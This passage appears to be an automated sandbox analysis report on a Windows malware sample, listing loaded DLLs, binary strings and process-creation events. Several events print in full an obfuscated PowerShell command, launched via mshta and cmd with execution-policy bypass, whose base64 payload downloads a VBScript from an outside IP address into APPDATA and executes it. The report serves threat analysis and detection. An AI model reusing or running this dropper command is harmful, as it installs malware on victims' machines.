                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kdscli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: vbscript.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mlang.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32Jump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\SettingsJump to behavior
                  Source: Window RecorderWindow detected: More than 3 window changes detected
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                  Source: Binary string: q:C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.pdb source: powershell.exe, 00000003.00000002.2242163202.0000000004B09000.00000004.00000800.00020000.00000000.sdmp
                  Source: Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000008.00000002.2508515611.00000000074E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2511587289.0000000007B4A000.00000004.00000800.00020000.00000000.sdmp
                  Source: Binary string: wntdll.pdbUGP source: aspnet_compiler.exe, 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp
                  Source: Binary string: wntdll.pdb source: aspnet_compiler.exe, aspnet_compiler.exe, 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp
                  Source: Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000008.00000002.2508515611.00000000074E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2511587289.0000000007B4A000.00000004.00000800.00020000.00000000.sdmp
                  Source: Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000008.00000002.2511587289.0000000007B4A000.00000004.00000800.00020000.00000000.sdmp
                  Source: Binary string: microsoft.win32.taskschedulersnapshotitemdnlib.dotnetmemberrefdnlib.dotnetimemberrefresolverdnlib.dotnetconstantuserdnlib.dotnetimethoddecrypterdnlib.dotnetassemblynamecomparerdnlib.dotnetiresolutionscopednlib.dotnetsecurityattributednlib.dotnet.writerpeheadersoptionsdnlib.dotnet.writerioffsetheap`1dnlib.dotnetimethoddnlib.dotnetcorlibtypesdnlib.dotnet.writertablesheapdnlib.dotnet.emitopcodetypednlib.dotnetiassemblyresolverdnlib.dotnetassemblyattributesdnlib.dotneticustomattributetypednlib.dotnetdummyloggerdnlib.dotnet.mdrawfieldptrrowdnlib.dotnetiloggermicrosoft.win32.taskschedulerdailytriggerdnlib.dotnettyperefuserdnlib.dotnet.writerdummymodulewriterlistenerdnlib.dotnetassemblyhashalgorithmdnlib.dotnet.pdbpdbdocumentdnlib.dotnetpinvokeattributesdnlib.dotnetivariablednlib.dotnetresourcednlib.dotnet.writerchunklist`1dnlib.dotnetiistypeormethodmicrosoft.win32.taskschedulercustomtriggerdnlib.dotnet.writerstartupstubdnlib.dotnetgenericinstmethodsigdnlib.dotnetmemberrefuserdnlib.dotnet.mdcomimageflagsdnlib.dotnetgenericparamdnlib.dotnet.writerchunklistbase`1dnlib.utilsextensionsdnlib.dotnetnativetypednlib.dotnet.mdrawenclogrowdnlib.dotnetgenericparamcontextdnlib.peimageoptionalheader64dnlib.dotnet.mdrawnestedclassrowdnlib.dotnetextensionsdnlib.dotneteventdefdnlib.dotnet.emitlocalc`5dnlib.dotneticontainsgenericparameterb`3b`1b`1b`1dnlib.dotnetitokenoperandc`1dnlib.dotnet.writerimdtablednlib.pedllcharacteristicsdnlib.dotnetifullnamednlib.dotnet.resourcesresourcereaderdnlib.dotnetstrongnamepublickeydnlib.dotnet.mdrawassemblyprocessorrowdnlib.dotnetbytearrayequalitycomparerdnlib.dotnet.mdrawmethodsemanticsrowdnlib.ioiimagestreamcreatordnlib.dotnetvtablefixupsmicrosoft.win32.taskschedulertaskprincipalprivilegemicrosoft.win32.taskschedulertasksnapshotdnlib.dotnet.pdbsymbolreadercreatordnlib.dotnet.emitinstructionprinterdnlib.dotnettypeequalitycomparerdnlib.dotnet.mdimagecor20headerdnlib.dotnet.mdirawrowdnlib.dotnet.writermethodbodywriterjgmicrosoft.win32.taskschedulertaskregistrationinfojfjejdjcmicrosoft.win32.taskschedulershowmessageactionjbdnlib.dotnetihasdeclsecuritycomhandlerupdatejamicrosoft.win32.taskschedulereventtriggerdnlib.dotnetimanagedentrypointstartup_informationmicrosoft.win32.taskscheduler.fluentmonthlydowtriggerbuildermicrosoft.win32.taskschedulertaskauditrulednlib.dotnet.writerstrongnamesignaturednlib.dotnetitypednlib.dotnetsentinelsigdnlib.dotnet.mdicolumnreaderdnlib.dotnet.writermodulewritereventdnlib.dotnettypenameparserdnlib.dotneticustomattributednlib.dotnet.pdb.dsssymbolwritercreatordnlib.dotnet.resourcesbinaryresourcedatadnlib.dotnet.mdrawtyperefrowdnlib.ioimagestreamcreatorconnectiontokenex`2dnlib.pepeextensionsdnlib.dotnet.pdbsequencepointdnlib.dotnetlinkedresourcednlib.dotnettyperefdnlib.dotnetpublickeydnlib.dotnetiassemblyreffinderdnlib.dotnet.mdrawgenericparamconstraintrowdnlib.dotnettypedefdnlib.dotnetrecursioncounterdnlib.dotnet.mdrawassemblyrefosrowdnlib.pecharacteristicsdnlib.w32resourcesresourcedirectorype source: powershe

                  Data Obfuscation

                  barindex
                  PowerShell case anomaly found
                  Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"
                  Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3